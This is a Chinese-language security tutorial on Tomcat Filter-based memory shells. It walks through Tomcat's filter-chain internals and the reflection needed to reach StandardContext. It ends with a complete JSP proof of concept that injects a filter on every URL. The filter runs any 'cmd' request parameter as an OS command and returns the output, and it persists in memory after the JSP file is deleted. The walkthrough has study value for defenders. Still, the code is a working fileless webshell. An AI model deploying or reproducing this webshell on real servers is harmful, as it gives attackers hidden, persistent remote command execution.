[toc]
# 0x01 前言
上一节我们说过
我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作
动态注册恶意 Filter,并且将其放到最前面
# 0x02 Tomcat Filter 流程分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.*; import java.io.IOException; public class filter implements Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤操作"); filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }
|
修改 web.xml 文件,这里我们设置 url-pattern 为 /filter
即访问 /filter
才会触发
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|
# 在访问 /filter 之后的流程分析
在 doFilter 打上断点开始分析
全局安全变量的判断,为 false,直接到代码尾部
接着跟进到 internalDoFilter 方法
加载到了 filters 对象
1
| private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
|
此时我们是同时拥有两个 filter 对象
此时 pos=1,也就是 tomcat 自带的 filter 对象
接着往后走,会调用一个一个 FilterChain 对象的 doFilter 方法
然后再次回到 doFilter 方法
最后来到 servlet.service 方法
如果 filter 是自带的,可能会调用一个个 filter 对象,到最后一个 filter 对象,也就是 FilterChain 结束,调用 servlet.service 方法
如果是我们自己写的 Filter 对象,则可以直接调用到 servlet.service,上一节有提到
# 在访问 /filter 之前的流程分析
分析目的在于:假设我们基于 filter 去实现一个内存马,我们需要找到 filter 是如何被创建的。
来到调用 service 前的最后一步
invoke 调用的 AbstractAccessLogValve
看调用栈,因为是处理内部请求,invoke 调用顺序也就是
下面我们关注下 filterChain
在 ApplicationFilterFactory 创建好 FilterChain 对象,就轮到 filterMaps
这里是 context 从 wrapper 中加载到现在的对象,然后 filterMaps 又从上下文获取到对象
此时 filterMaps 已经加载到对象
第一个是我们自定义的
第二个是 tomcat 自带的
会遍历 FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 匹配,就会进入 if
最终加载到
跟进 addFilter
遍历 filters 中的 filter,进行去重,当 n 的长度 = filters.lenth,就会增加十个容量,再将 filtersconfig 添加到 filters 中
至此 filter 就加载完了
之后接着加载 tomcat 自带的 filterconfig,接着上面的步骤走一遍
最终返回 filterchain
最后的最后
通过 filterChain.doFilter 的调用去处理 request 和 respnonse
也就是去激活 servlet.service 方法进行回应
此图来自宽字节安全
# 小结
1、根据请求的 url 信息,从 FilterMaps 中找出与 url 相应的 Filter 名称
2、根据 Filter 名称从 FilterConfigs 中获取对应的 FilterConfig
3、找到对应的 FilterConfig 后添加到 Filter,最终所有的 Filter 链式调用完也即 FilterChain
4、Fileterchain 调用 internalDoFilter 遍历获取 chain 中的 FilterConfig,然后获取 Filter 最终调用对应的 doFilter 方法
所以可以发现,FiltersMaps 是从 StandardContext 中获取的
那如果我们自定义一个 FilterMap,然后放在最前面,这样 urlpattern 去匹配的时候就会加载相应的 FilterConfig 内容,最后加载到 FilterChain 中,触发内存 shell
# 0x03 Filter 内存马注入
利用版本 > 7.x
因为 javax.servlet.DispatcherType 类是 servlet 3 以后引入,而 Tomcat 7 以上才支持 Servlet 3
当我们能直接获取 request 的时候,我们这里可以直接使用如下方法
将我们的 ServletContext 转为 StandardContext 从而获取 context
当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用
# ServletContext 跟 StandardContext 的关系
Tomcat 中的对应的 ServletContext 实现是 ApplicationContext。在 Web 应用中获取的 ServletContext 实际上是 ApplicationContextFacade 对象,对 ApplicationContext 进行了封装,而 ApplicationContext 实例中又包含了 StandardContext 实例,以此来获取操作 Tomcat 容器内部的一些信息,例如 Servlet 的注册等。
# 如何获取 StandardContext
- 由 ServletContext 转 StandardContext
如果可以直接获取到 request 对象的话可以用这种方法
1 2 3 4 5 6 7 8 9 10
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
获取到 Context 之后 ,我们可以发现其中的 filterConfigs,filterDefs,filterMaps 这三个参数和我们的 filter 有关,那么如果我们可以控制这几个变量那么我们或许就可以注入我们的内存马
FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
filterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息
filterMaps:一个存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern
大致流程如下:
- 创建一个恶意 Filter
- 利用 FilterDef 对 Filter 进行一个封装
- 将 FilterDef 添加到 FilterDefs 和 FilterConfig
- 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps 中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)
每次请求 createFilterChain 都会依据此动态生成一个过滤链,而 StandardContext 又会一直保留到 Tomcat 生命周期结束,所以我们的内存马就可以一直驻留下去,直到 Tomcat 重启
# poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% final String name = "KpLi0rn"; ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder(req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
|
在运行过程中,将 Evil.jsp 删除还是可以执行命令,将服务重启就无了
# 0x04 一些点的总结
首先是 Filter 的注册流程
- 在 context 中获取 filterMaps,并遍历匹配 url 地址和请求是否匹配;
- 如果匹配则在 context 中根据 filterMaps 中的 filterName 查找对应的 filterConfig;
- 如果获取到 filterConfig,则将其加入到 filterChain 中
- 后续将会循环 filterChain 中的全部 filterConfig,通过
getFilter
方法获取 Filter 并执行 Filter 的 doFilter
方法。